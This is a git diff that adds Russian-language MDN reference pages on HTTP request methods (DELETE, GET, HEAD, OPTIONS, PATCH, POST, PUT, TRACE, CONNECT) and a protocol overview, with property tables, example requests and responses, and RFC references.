Запрос имеет телоНет
Успешный ответ имеет телоДа
{{Glossary("Безопасный")}}Нет
{{Glossary("Идемпотентный")}}Нет
{{Glossary("Кэшируемый")}}Нет
Допускается в HTML формахНет
+ +

Синтаксис

+ +
CONNECT www.example.com:443 HTTP/1.1
+
+ +

Пример

+ +

Некоторые прокси сервера могут запросить авторизацию для создания туннеля. Смотрите так же {{HTTPHeader("Proxy-Authorization")}}.

+ +
CONNECT server.example.com:80 HTTP/1.1
+Host: server.example.com:80
+Proxy-Authorization: basic aGVsbG86d29ybGQ=
+ +

Спецификация

+ + + + + + + + + + + + +
СпецификацияTitle
{{RFC("7231", "CONNECT", "4.3.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http.methods.CONNECT")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/methods/delete/index.html b/files/ru/web/http/methods/delete/index.html new file mode 100644 index 0000000000..e263d3c2e0 --- /dev/null +++ b/files/ru/web/http/methods/delete/index.html @@ -0,0 +1,101 @@ +--- +title: DELETE +slug: Web/HTTP/Methods/DELETE +tags: + - HTTP + - HTTP методы + - Метод запроса + - Справка +translation_of: Web/HTTP/Methods/DELETE +--- +
{{HTTPSidebar}}
+ +

Метод запроса HTTP DELETE удаляет указанный ресурс.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Запрос имеет телоМожет
Успешный ответ имеет телоМожет
{{Glossary("Safe","Безопасный")}}Нет
{{Glossary("Idempotent","Идемпотентный")}}Да
{{Glossary("Cacheable","Кэшируемый")}}Нет
Допускается в HTML-формахНет
+ +

Синтаксис

+ +
DELETE /file.html HTTP/1.1
+
+ +

Пример

+ +

Запрос

+ +
DELETE /file.html HTTP/1.1
+ +

Ответ

+ +

Если метод DELETE успешно выполняется, то возможны следующие коды состояния ответа:

+ + + +
HTTP/1.1 200 OK
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+<html>
+  <body>
+    <h1>File deleted.</h1>
+  </body>
+</html>
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("7231", "DELETE", "4.3.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Поддержка браузерами

+ + + +

{{Compat("http.methods.DELETE")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/methods/get/index.html b/files/ru/web/http/methods/get/index.html new file mode 100644 index 0000000000..e2601b1361 --- /dev/null +++ b/files/ru/web/http/methods/get/index.html @@ -0,0 +1,75 @@ +--- +title: GET +slug: Web/HTTP/Methods/GET +tags: + - HTTP + - Метод запроса + - Справка +translation_of: Web/HTTP/Methods/GET +--- +
{{HTTPSidebar}}
+ +

HTTP-метод GET запрашивает представление указанного ресурса. GET-запросы должны только получать данные.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Запрос имеет телоНет
Успешный ответ имеет телоДа
{{Glossary("Safe", "Безопасный")}}Да
{{Glossary("Idempotent", "Идемпотентный")}}Да
{{Glossary("Cacheable", "Кэшируемый")}}Да
Допускается в HTML-формахДа
+ +

Синтаксис

+ +
GET /index.html
+
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("7231", "GET", "4.3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Поддержка браузерами

+ + + +

{{Compat("http.methods.GET")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/methods/head/index.html b/files/ru/web/http/methods/head/index.html new file mode 100644 index 0000000000..13bfe278a6 --- /dev/null +++ b/files/ru/web/http/methods/head/index.html @@ -0,0 +1,77 @@ +--- +title: HEAD +slug: Web/HTTP/Methods/HEAD +tags: + - HTTP + - Метод запроса + - Справка +translation_of: Web/HTTP/Methods/HEAD +--- +
{{HTTPSidebar}}
+ +

HTTP-метод HEAD запрашивает заголовки, идентичные тем, что возвращаются, если указанный ресурс будет запрошен с помощью HTTP-метода {{HTTPMethod("GET")}}. Такой запрос может быть выполнен перед загрузкой большого ресурса, например, для экономии пропускной способности.

+ +

Ответ на метод HEAD не должен содержать тело. Если это не так, то его следует игнорировать. Но даже в этом случае {{glossary("Entity header", "заголовки сущности")}}, описывающие содержимое тела, например {{HTTPHeader("Content-Length")}}, должны быть включены в ответ. Они не относятся к телу ответа на запрос HEAD, которое должно быть пустым, они относятся к телу ответа, полученный на аналогичный запрос с помощью метода {{HTTPMethod("GET")}}.

+ +

Если результат запроса HEAD показывает, что кешированный после запроса {{HTTPMethod("GET")}} ресурс устарел, то кеш становится недействительным, даже если запрос GET не был сделан.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Запрос имеет телоНет
Успешный ответ имеет телоНет
{{Glossary("Safe", "Безопасный")}}Да
{{Glossary("Idempotent", "Идемпотентный")}}Да
{{Glossary("Cacheable", "Кэшируемый")}}Да
Допускается в HTML-формахНет
+ +

Синтаксис

+ +
HEAD /index.html
+
+ +

Спецификация

+ + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("7231", "HEAD", "4.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.methods.HEAD")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/methods/index.html b/files/ru/web/http/methods/index.html new file mode 100644 index 0000000000..67369bdad6 --- /dev/null +++ b/files/ru/web/http/methods/index.html @@ -0,0 +1,73 @@ +--- +title: Методы HTTP запроса +slug: Web/HTTP/Methods +tags: + - HTTP + - Methods + - Reference +translation_of: Web/HTTP/Methods +--- +

{{HTTPSidebar}}

+ +

HTTP определяет множество методов запроса, которые указывают, какое желаемое действие выполнится для данного ресурса. Несмотря на то, что их названия могут быть существительными, эти методы запроса иногда называются HTTP глаголами. Каждый реализует свою семантику, но каждая группа команд разделяет общие свойства: так, методы могут быть {{glossary("safe", "безопасными")}}, {{glossary("idempotent", "идемпотентными")}} или {{glossary("cacheable", "кэшируемыми")}}.

+ +
+
GET
+
Метод GET запрашивает представление ресурса. Запросы с использованием этого метода могут только извлекать данные.
+
HEAD
+
HEAD запрашивает ресурс так же, как и метод GET, но без тела ответа.
+
POST
+
POST используется для отправки сущностей к определённому ресурсу. Часто вызывает изменение состояния или какие-то побочные эффекты на сервере.
+
PUT
+
+

PUT заменяет все текущие представления ресурса данными запроса.

+
+
DELETE
+
DELETE удаляет указанный ресурс.
+
CONNECT
+
+

CONNECT устанавливает "туннель" к серверу, определённому по ресурсу.

+
+
OPTIONS
+
OPTIONS используется для описания параметров соединения с ресурсом.
+
TRACE
+
+

TRACE выполняет вызов возвращаемого тестового сообщения с ресурса.

+
+
PATCH
+
PATCH используется для частичного изменения ресурса.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияНазваниеКомментарий
{{RFC("7231", "Request methods", "4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and ContentОпределение GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.
{{RFC("5789", "Patch method", "2")}}PATCH метод для HTTPОпределение PATCH.
+ +

Совместимость с браузерами

+ + + +

{{Compat}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/methods/options/index.html b/files/ru/web/http/methods/options/index.html new file mode 100644 index 0000000000..7df81b0124 --- /dev/null +++ b/files/ru/web/http/methods/options/index.html @@ -0,0 +1,126 @@ +--- +title: OPTIONS +slug: Web/HTTP/Methods/OPTIONS +tags: + - HTTP + - Метод запроса + - Справка +translation_of: Web/HTTP/Methods/OPTIONS +--- +
{{HTTPSidebar}}
+ +

HTTP-метод OPTIONS используется для описания параметров соединения с целевым ресурсом. Клиент может указать особый URL для обработки метода OPTIONS, или * (зведочку) чтобы указать весь сервер целиком.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Запрос имеет телоНет
Успешный ответ имеет телоДа
{{Glossary("Safe", "Безопасный")}}Да
{{Glossary("Idempotent", "Идемпотентный")}}Да
{{Glossary("Cacheable", "Кэшируемый")}}Нет
Допускается в HTML-формахНет
+ +

Синтаксис

+ +
OPTIONS /index.html HTTP/1.1
+OPTIONS * HTTP/1.1
+
+ +

Примеры

+ +

Определение разрешенных сервером методов запроса

+ +

Для того, чтобы узнать какие методы запросов поддерживаются сервером, можно возпользоваться curl направить OPTIONS запрос:

+ +
curl -X OPTIONS http://example.org -i
+ +

Ответ на запрос содержит {{HTTPHeader("Allow")}} заголовок с поддерживаемыми методами:

+ +
HTTP/1.1 200 OK
+Allow: OPTIONS, GET, HEAD, POST
+Cache-Control: max-age=604800
+Date: Thu, 13 Oct 2016 11:45:00 GMT
+Expires: Thu, 20 Oct 2016 11:45:00 GMT
+Server: EOS (lax004/2813)
+x-ec-custom-error: 1
+Content-Length: 0
+
+ +

Предзапросы по технологии CORS

+ +

По технологии CORS, с помощью метода OPTIONS направляется предварительный запрос, поэтому сервер может ответить приемлемо ли отправлять запросы этим методом. {{HTTPHeader("Access-Control-Request-Method")}} заголовок уведомляет сервер в составе предварительного запроса о том что, запрос  OPTIONS будет отправляться на сервер вместе с POST запросом. {{HTTPHeader("Access-Control-Request-Headers")}} заголовок уведомляет сервер о том, что при отправке фактического запроса, он будет отправлен с помощью пользовательских заголовков X-PINGOTHER и Content-Type.  В этом случае сервер имеет возможность определять возможно ли принять запрос с такими параметрами.

+ +
OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+ +

Ответ сервера содержит параметр {{HTTPHeader("Access-Control-Allow-Methods")}} и сообщает, что  POST, GET, и OPTIONS методы являются приемлемыми для данного ресурса. Этот заголовок похож на заголовок {{HTTPHeader("Allow")}} , но используется строго в контексте CORS.

+ +
HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("7231", "OPTIONS", "4.3.7")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.methods.OPTIONS")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/methods/patch/index.html b/files/ru/web/http/methods/patch/index.html new file mode 100644 index 0000000000..bbf8a73ad6 --- /dev/null +++ b/files/ru/web/http/methods/patch/index.html @@ -0,0 +1,100 @@ +--- +title: PATCH +slug: Web/HTTP/Methods/PATCH +tags: + - HTTP + - HTTP метод + - Методы запроса + - Справка +translation_of: Web/HTTP/Methods/PATCH +--- +
{{HTTPSidebar}}
+ +

Метод запроса HTTP PATCH частично изменяет ресурс.

+ +

В какой-то степени PATCH можно назвать аналогом концепта «обновить» (update) из {{Glossary("CRUD")}} (но не стоит путать HTTP и {{Glossary("CRUD")}} — это две разные вещи).

+ +

PATCH может как быть идемпотентным, так и не быть, в отличие от {{HTTPMethod("PUT")}}, который всегда идемпотентен. Операция считается идемпотентной, если её многократное выполнение приводит к тому же результату, что и однократное выполнение. Например, если автоинкрементное поле является важной частью ресурса, то {{HTTPMethod("PUT")}} перезапишет его (т.к. он перезаписывает всё), но PATCH может и не перезаписать.

+ +

PATCH (как и PUT) может иметь побочные эффекты на другие ресурсы.

+ +

Чтобы обозначить, что сервер поддерживает PATCH, можно добавить этот метод в список заголовков ответа {{HTTPHeader("Allow")}} или {{HTTPHeader("Access-Control-Allow-Methods")}} (для CORS).

+ +

Другой (неявный) индикатор, что PATCH разрешён, является наличие заголовка {{HTTPHeader("Accept-Patch")}}, где описано, в каком формате сервер принимает измененные документы.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Запрос имеет телоДа
Успешный ответ имеет телоДа
{{Glossary("Safe", "Безопасный")}}Нет
{{Glossary("Idempotent", "Идемпотентный")}}Нет
{{Glossary("Cacheable", "Кэшируемый")}}Нет
Допускается в HTML-формахНет
+ +

Синтаксис

+ +
PATCH /file.txt HTTP/1.1
+
+ +

Пример

+ +

Запрос

+ +
PATCH /file.txt HTTP/1.1
+Host: www.example.com
+Content-Type: application/example
+If-Match: "e0023aa4e"
+Content-Length: 100
+
+[описание изменений]
+ +

Ответ

+ +

Успешный ответ указывается с помощью кода ответа {{HTTPStatus("204")}}, поскольку ответ в примере не содержит тела сообщения. А если бы содержал, то код был бы {{HTTPStatus("200")}}.

+ +
HTTP/1.1 204 No Content
+Content-Location: /file.txt
+ETag: "e0023aa4f"
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("5789", "PATCH")}}PATCH Method for HTTP
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/methods/post/index.html b/files/ru/web/http/methods/post/index.html new file mode 100644 index 0000000000..5e0778692d --- /dev/null +++ b/files/ru/web/http/methods/post/index.html @@ -0,0 +1,122 @@ +--- +title: POST +slug: Web/HTTP/Methods/POST +tags: + - HTTP + - Метод запроса + - Справка +translation_of: Web/HTTP/Methods/POST +--- +
{{HTTPSidebar}}
+ +

HTTP-метод POST предназначен для отправки данных на сервер. Тип тела запроса указывается в заголовке {{HTTPHeader("Content-Type")}}.

+ +

Разница между {{HTTPMethod("PUT")}} и POST состоит в том, что PUT является идемпотентным: повторное его применение дает тот же результат, что и при первом применении (то есть у метода нет побочных эффектов), тогда как повторный вызов одного и того же метода POST может иметь такие эффекты, как например, оформление одного и того же заказа несколько раз.

+ +

Запрос POST обычно отправляется через форму HTML и приводит к изменению на сервере. В этом случае тип содержимого выбирается путем размещения соответствующей строки в атрибуте {{htmlattrxref ("enctype", "form")}} элемента {{HTMLElement ("form")}} или {{htmlattrxref ("formenctype", "input")}} атрибута элементов {{HTMLElement ("input")}} или {{HTMLElement ("button")}}:

+ + + +

Когда запрос POST отправляется с помощью метода, отличного от HTML-формы, — например, через {{domxref ("XMLHttpRequest")}} — тело может принимать любой тип. Как описано в спецификации HTTP 1.1, POST предназначен для обеспечения единообразного метода для покрытия следующих функций:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Запрос имеет телоДа
Успешный ответ имеет телоДа
{{Glossary("Safe", "Безопасный")}}Нет
{{Glossary("Idempotent", "Идемпотентный")}}Нет
{{Glossary("Cacheable", "Кэшируемый")}}Только если включена информация о свежести сообщения
Допускается в HTML-формахДа
+ +

Синтаксис

+ +
POST /index.html
+ +

Пример

+ +

Простая форма запроса, используя стандартный application/x-www-form-urlencoded content type:

+ +
POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&to=Mom
+ +

Форма запроса, используя multipart/form-data content type:

+ +
POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+--boundary--
+
+ +

Спецификация

+ + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("7231", "POST", "4.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.methods.POST")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/methods/put/index.html b/files/ru/web/http/methods/put/index.html new file mode 100644 index 0000000000..5c89a7887c --- /dev/null +++ b/files/ru/web/http/methods/put/index.html @@ -0,0 +1,104 @@ +--- +title: PUT +slug: Web/HTTP/Methods/PUT +tags: + - HTTP + - HTTP методы + - Метод запроса + - Справка +translation_of: Web/HTTP/Methods/PUT +--- +
{{HTTPSidebar}}
+ +
Метод запроса HTTP PUT создает новый ресурс или заменяет представление целевого ресурса, данными представленными в теле запроса.
+ +
+ +

Разница между PUT и {{HTTPMethod("POST")}} в том, что PUT является идемпотентным, т.е. единичный и множественные вызовы этого метода, с идентичным набором данных, будут иметь тот же результат выполнения (без сторонних эффектов), в случае с POST, множественный вызов с идентичным набором данных может повлечь за собой сторонние эффекты.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Запрос имеет телоДа
Успешный ответ имеет телоНет
{{Glossary("Safe", "Безопасный")}}Нет
{{Glossary("Idempotent", "Идемпотентный")}}Да
{{Glossary("Cacheable", "Кэшируемый")}}Нет
Допускается в HTML-формахНет
+ +

Синтаксис

+ +
PUT /new.html HTTP/1.1
+
+ +

Пример

+ +

Запрос

+ +
PUT /new.html HTTP/1.1
+Host: example.com
+Content-type: text/html
+Content-length: 16
+
+<p>Новый файл</p>
+ +

Ответ

+ +

Если целевой ресурс не содержит отправляемой сущности и PUT запрос создает ее, то сервер должен проинформировать клиентское приложение о создании, отправив в ответ {{HTTPStatus("201")}} (Created).

+ +
HTTP/1.1 201 Created
+Content-Location: /new.html
+
+ +

Если целевой ресур содержит отправляемую сущность и сущность была успешно мутирована (обновлена), в соответствии с прилагаемыми в теле запроса данными, то сервер должен отправить или {{HTTPStatus("200")}} (OK), или {{HTTPStatus("204")}} (No Content) для информирования об успешном завершении запроса.

+ +
HTTP/1.1 204 No Content
+Content-Location: /existing.html
+
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("7231", "PUT", "4.3.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Поддержка браузеров

+ + + +

{{Compat("http.methods.PUT")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/methods/trace/index.html b/files/ru/web/http/methods/trace/index.html new file mode 100644 index 0000000000..9bf1686106 --- /dev/null +++ b/files/ru/web/http/methods/trace/index.html @@ -0,0 +1,77 @@ +--- +title: TRACE +slug: Web/HTTP/Methods/TRACE +tags: + - HTTP + - Метод трассировки + - Справка +translation_of: Web/HTTP/Methods/TRACE +--- +
{{HTTPSidebar}}
+ +

HTTP Метод TRACE выполняет проверку обратной связи по пути к целевому ресурсу, предоставляя полезный механизм отладки.

+ +

Конечный получатель запроса должен отразить полученное сообщение, исключая некоторые поля описанные ниже, назад клиенту как тело сообщения с ответом 200 (OK) с заголовком {{httpheader("Content-Type")}} message/http. Конечный получатель это либо исходный сервер, либо первый сервер получивший значение {{httpheader("Max-Forwards")}} в запросе.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Запрос имеет телоНет
Успешный ответ имеет телоНет
{{Glossary("Safe", "Безопасный")}}Нет
{{Glossary("Idempotent", "Идемпотентный")}}Да
{{Glossary("Cacheable", "Кэшируемый")}}Нет
Допускается в HTML-формахНет
+ +

Синтаксис

+ +
TRACE /index.html
+
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("7231", "TRACE", "4.3.8")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Поддержка браузерами

+ + + +

{{Compat("http.methods.TRACE")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/overview/index.html b/files/ru/web/http/overview/index.html new file mode 100644 index 0000000000..32bf03f084 --- /dev/null +++ b/files/ru/web/http/overview/index.html @@ -0,0 +1,172 @@ +--- +title: Обзор протокола HTTP +slug: Web/HTTP/Overview +tags: + - HTML + - HTTP + - Веб-механизмы + - Обзор +translation_of: Web/HTTP/Overview +--- +
{{HTTPSidebar}}
+ +

HTTP — это {{glossary("протокол")}}, позволяющий получать различные ресурсы, например HTML-документы. Протокол HTTP  лежит в основе обмена данными в Интернете. HTTP является протоколом клиент-серверного взаимодействия, что означает инициирование запросов к серверу самим получателем, обычно веб-браузером (web-browser). Полученный итоговый документ будет (может) состоять из различных поддокументов являющихся частью итогового документа: например, из отдельно полученного текста, описания структуры документа, изображений, видео-файлов, скриптов и многого другого.

+ +

A Web document is the composition of different resources

+ +

Клиенты и серверы взаимодействуют, обмениваясь одиночными сообщениями (а не потоком данных). Сообщения, отправленные клиентом, обычно веб-браузером, называются запросами, а сообщения, отправленные сервером, называются ответами.

+ +

HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.Хотя HTTP был разработан  еще в начале 1990-х годов, за счет своей расширяемости в дальнейшем он все время совершенствовался.  HTTP является протоколом прикладного уровня, который чаще всего использует возможности другого протокола - {{glossary("TCP")}} (или {{glossary("TLS")}} - защищённый TCP) - для пересылки своих сообщений, однако любой другой надежный транспортный протокол теоретически может быть использован для доставки таких сообщений. Благодаря своей расширяемости, он используется не только для получения клиентом гипертекстовых документов, изображений и видео, но и для передачи содержимого серверам, например, с помощью HTML-форм. HTTP также может быть использован для получения только частей документа с целью обновления веб-страницы по запросу (например посредством AJAX запроса).

+ +

Составляющие систем, основанных на HTTP

+ +

HTTP — это клиент-серверный протокол, то есть запросы отправляются какой-то одной стороной — участником обмена (user-agent) (либо прокси вместо него). Чаще всего в качестве участника выступает веб-браузер, но им может быть кто угодно, например, робот, путешествующий по Сети для пополнения и обновления данных индексации веб-страниц для поисковых систем.

+ +

Каждый запрос (англ. request) отправляется серверу, который обрабатывает его и возвращает ответ (англ. response). Между этими запросами и ответами как правило существуют многочисленные посредники, называемые {{glossary("Прокси_серверами","прокси")}}, которые выполняют различные операции и работают как шлюзы или {{glossary("Кэш","кэш")}}, например.

+ +

Client server chain

+ +

Обычно между браузером и сервером гораздо больше различных устройств-посредников, которые играют какую-либо роль в обработке запроса: маршрутизаторы, модемы и так далее. Благодаря тому, что Сеть построена на основе системы уровней (слоёв) взаимодействия, эти посредники "спрятаны" на сетевом и транспортном уровнях. В этой системе уровней HTTP занимает самый верхний уровень, который называется "прикладным" (или "уровнем приложений"). Знания об уровнях сети, таких как представительский, сеансовый, транспортный, сетевой, канальный и физический, имеют важное значение для понимания работы сети и диагностики возможных проблем, но не требуются для описания и понимания HTTP.

+ +

Клиент: участник обмена

+ +

Участник обмена (user agent) — это любой инструмент или устройство, действующие от лица пользователя. Эту задачу преимущественно выполняет веб-браузер; в некоторых случаях участниками выступают программы, которые используются инженерами и веб-разработчиками для отладки своих приложений.

+ +

Браузер всегда является той сущностью, которая создаёт запрос. Сервер обычно этого не делает, хотя за многие годы существования сети были придуманы способы, которые могут позволить выполнить запросы со стороны сервера.

+ +

Чтобы отобразить веб страницу, браузер отправляет начальный запрос для получения HTML-документа этой страницы. После этого браузер изучает этот документ, и запрашивает дополнительные файлы, необходимые для отбражения содержания веб-страницы (исполняемые скрипты, информацию о макете страницы - CSS таблицы стилей, дополнительные ресурсы в виде изображений и видео-файлов), которые непосредственно являются частью исходного документа, но расположены в других местах сети. Далее браузер соединяет все эти ресурсы для отображения их пользователю в виде единого документа — веб-страницы. Скрипты, выполняемые самим браузером, могут получать по сети дополнительные ресурсы на последующих этапах обработки веб-страницы, и браузер соответствующим образом обновляет отображение этой страницы для пользователя.

+ +

Веб-страница является гипертекстовым документом. Это означает, что некоторые части отображаемого текста являются ссылками, которые могут быть активированы (обычно нажатием кнопки мыши) с целью получения и соответственно отображения новой веб-страницы (переход по ссылке). Это позволяет пользователю "перемещаться" по страницам сети (Internet). Браузер преобразует эти гиперссылки в HTTP-запросы и в дальнейшем полученные HTTP-ответы отображает в понятном для пользователя виде.

+ +

Веб-сервер

+ +

На другой стороне коммуникационного канала расположен сервер, который обслуживает (англ. serve) пользователя, предоставляя ему документы по запросу. С точки зрения конечного пользователя, сервер всегда является некой одной виртуальной машиной, полностью или частично генерирующей документ, хотя фактически он может быть группой серверов, между которыми балансируется нагрузка, то есть перераспределяются запросы различных пользователей, либо сложным программным обеспечением, опрашивающим другие компьютеры (такие как кэширующие серверы, серверы баз данных, серверы приложений электронной коммерции и другие).

+ +

Сервер не обязательно расположен на одной машине, и наоборот - несколько серверов могут быть расположены (хоститься) на одной и той же машине. В соответствии с версией HTTP/1.1 и имея {{HTTPHeader("Host")}} заголовок, они даже могут делить тот же самый IP-адрес.

+ +

Прокси

+ +

Между веб-браузером и сервером находятся большое количество сетевых узлов передающих HTTP сообщения. Из за слоистой структуры, большинство из них оперируют также на транспортном сетевом  или физическом уровнях, становясь прозрачным на HTTP слое и потенциально снижая производительность. Эти операции на уровне приложений называются прокси. Они могут быть прозрачными, или нет, (изменяющие запросы не пройдут через них), и способны исполнять множество функций:

+ + + +

Основные аспекты HTTP

+ +

HTTP - прост

+ +

Даже с большей сложностью, введенной в HTTP/2 путем инкапсуляции HTTP-сообщений в фреймы, HTTP, как правило, прост и удобен для восприятия человеком. HTTP-сообщения могут читаться и пониматься людьми, обеспечивая более легкое тестирование разработчиков и уменьшенную сложность для новых пользователей.

+ +

HTTP - расширяемый

+ +

Введенные в HTTP/1.0 HTTP-заголовки сделали этот протокол легким для расширения и экспериментирования. Новая функциональность может быть даже введена простым соглашением между клиентом и сервером о семантике нового заголовка.

+ +

HTTP не имеет состояния, но имеет сессию

+ +

HTTP не имеет состояния: не существует связи между двумя запросами, которые последовательно выполняются по одному соединению. Из этого немедленно следует возможность проблем для пользователя, пытающегося взаимодействовать с определенной страницей последовательно, например, при использовании корзины в электронном магазине. Но хотя ядро HTTP не имеет состояния, куки позволяют использовать сессии с сохранением состояния. Используя расширяемость заголовков, куки добавляются к рабочему потоку, позволяя сессии на каждом HTTP-запросе делиться некоторым контекстом, или состоянием.

+ +

HTTP и соединения

+ +

Соединение управляется на транспортном уровне, и потому принципиально выходит за границы HTTP. Хотя HTTP не требует, чтобы базовый транспортного протокол был основан на соединениях,  требуя только надёжность, или отсутствие потерянных сообщений (т.е. как минимум представление ошибки). Среди двух наиболее распространенных транспортных протоколов Интернета, TCP надёжен, а UDP -- нет. HTTP впоследствии полагается на стандарт TCP, являющийся основанным на соединениях, несмотря на то, что соединение не всегда требуется.

+ +

HTTP/1.0 открывал TCP-соединение для каждого обмена запросом/ответом, имея два важных недостатка: открытие соединения требует нескольких обменов сообщениями, и потому медленно, хотя становится более эффективным при отправке нескольких сообщений, или при регулярной отправке сообщений: теплые соединения более эффективны, чем холодные.

+ +

Для смягчения этих недостатков, HTTP/1.1 предоставил конвеерную обработку (которую оказалось трудно реализовать) и устойчивые соединения: лежащее в основе TCP соединение можно частично контролировать через заголовок  {{HTTPHeader("Connection")}}. HTTP/2 сделал следующий шаг, добавив мультиплексирование сообщений через простое соединение, помогающее держать соединение теплым и более эффективным.

+ +

Проводятся эксперименты по разработке лучшего транспортного протокола, более подходящего для HTTP. Например, Google эксперементирует с QUIC, которая основана на  UDP, для предоставления более надёжного и эффективного транспортного протокола.

+ +

Чем можно управлять через HTTP

+ +

Естественная расширяемость HTTP со временем позволила большее управление и функциональность Сети. Кэш и методы аутентификации были ранними функциями в истории HTTP. Способность ослабить первоначальные ограничения, напротив, была добавлена в 2010-е.

+ +

Ниже перечислены общие функции, управляемые с HTTP.

+ + + +

HTTP поток

+ +

Когда клиент хочет взаимодействовать с сервером, являясь конечным сервером или промежуточным прокси, он выполняет следующие шаги:

+ +
    +
  1. Открытие TCP соединения: TCP-соедиенение будет использоваться для отправки запроса или запросов, и получения ответа. Клиент может открыть новое соединение, переиспользовать существующее, или открыть несколько TCP-соединений к серверу.
    2. +
  2. Отправка HTTP-сообщения: HTTP-собщения (до HTTP/2) -- человеко-читаемо. Начиная с HTTP/2, простые сообщения инкапсилуруются во фреймы, делая невозможным их чтения напрямую, но принципиально остаются такими же. + 
    GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
    +
    3. +
  3. Читает ответ от сервера: + 
    HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
    +
    4. +
  4. Закрывает или переиспользует соединение для дальнейших запросов.
    5. +
+ +

Если активирован HTTP-конвеер, несколько запросов могут быть отправлены без ожидания получения первого ответа целиком. HTTP-конвеер тяжело внедряется в существующие сети, где старые куски ПО сосуществуют с современными версиями.  HTTP-конвеер был заменен в HTTP/2 на более надежные мультиплексивные запросы во фрейме.

+ +

HTTP сообщения

+ +

HTTP/1.1 и более ранние HTTP сообщения человеко-читаемы. В версии HTTP/2 эти сообщения встроены в новую бинарную структуру, фрейм, позволяющий оптимизации, такие как компрессия заголовков и мультиплексирование. Даже если часть оригинального HTTP сообщения отправлена в этой версии HTTP, семантика каждого сообщения не изменяется и клиент воссоздаёт (виртуально) оригинальный HTTP-запрос. Это также полезно для понимания HTTP/2 сообщений в формате HTTP/1.1.

+ +

Существует два типа HTTP сообщений, запросы и ответы, каждый в своем формате.

+ +

Запросы

+ +

Примеры HTTP запросов:

+ +

A basic HTTP request

+ +

Запросы содержат следующие элементы:

+ + + +

Ответы

+ +

Примеры ответов:

+ +

+ +

Ответы содержат следующие элементы:

+ + + +

Вывод

+ +

HTTP -- легкий в использовании расширяемый протокол. Структура клиент-сервера, вместе со способностью к простому добавлению заголовков, позволяет HTTP продвигаться вместе с расширяющимися возможностями Сети.

+ +

Хотя HTTP/2 добавляет некоторую сложность, встраивая HTTP сообщения во фреймы для улучшения производительности, базовая структура сообщений осталась с HTTP/1.0. Сессионый поток остается простым, позволяя исследовать и отлаживать с простым монитором HTTP-сообщений.

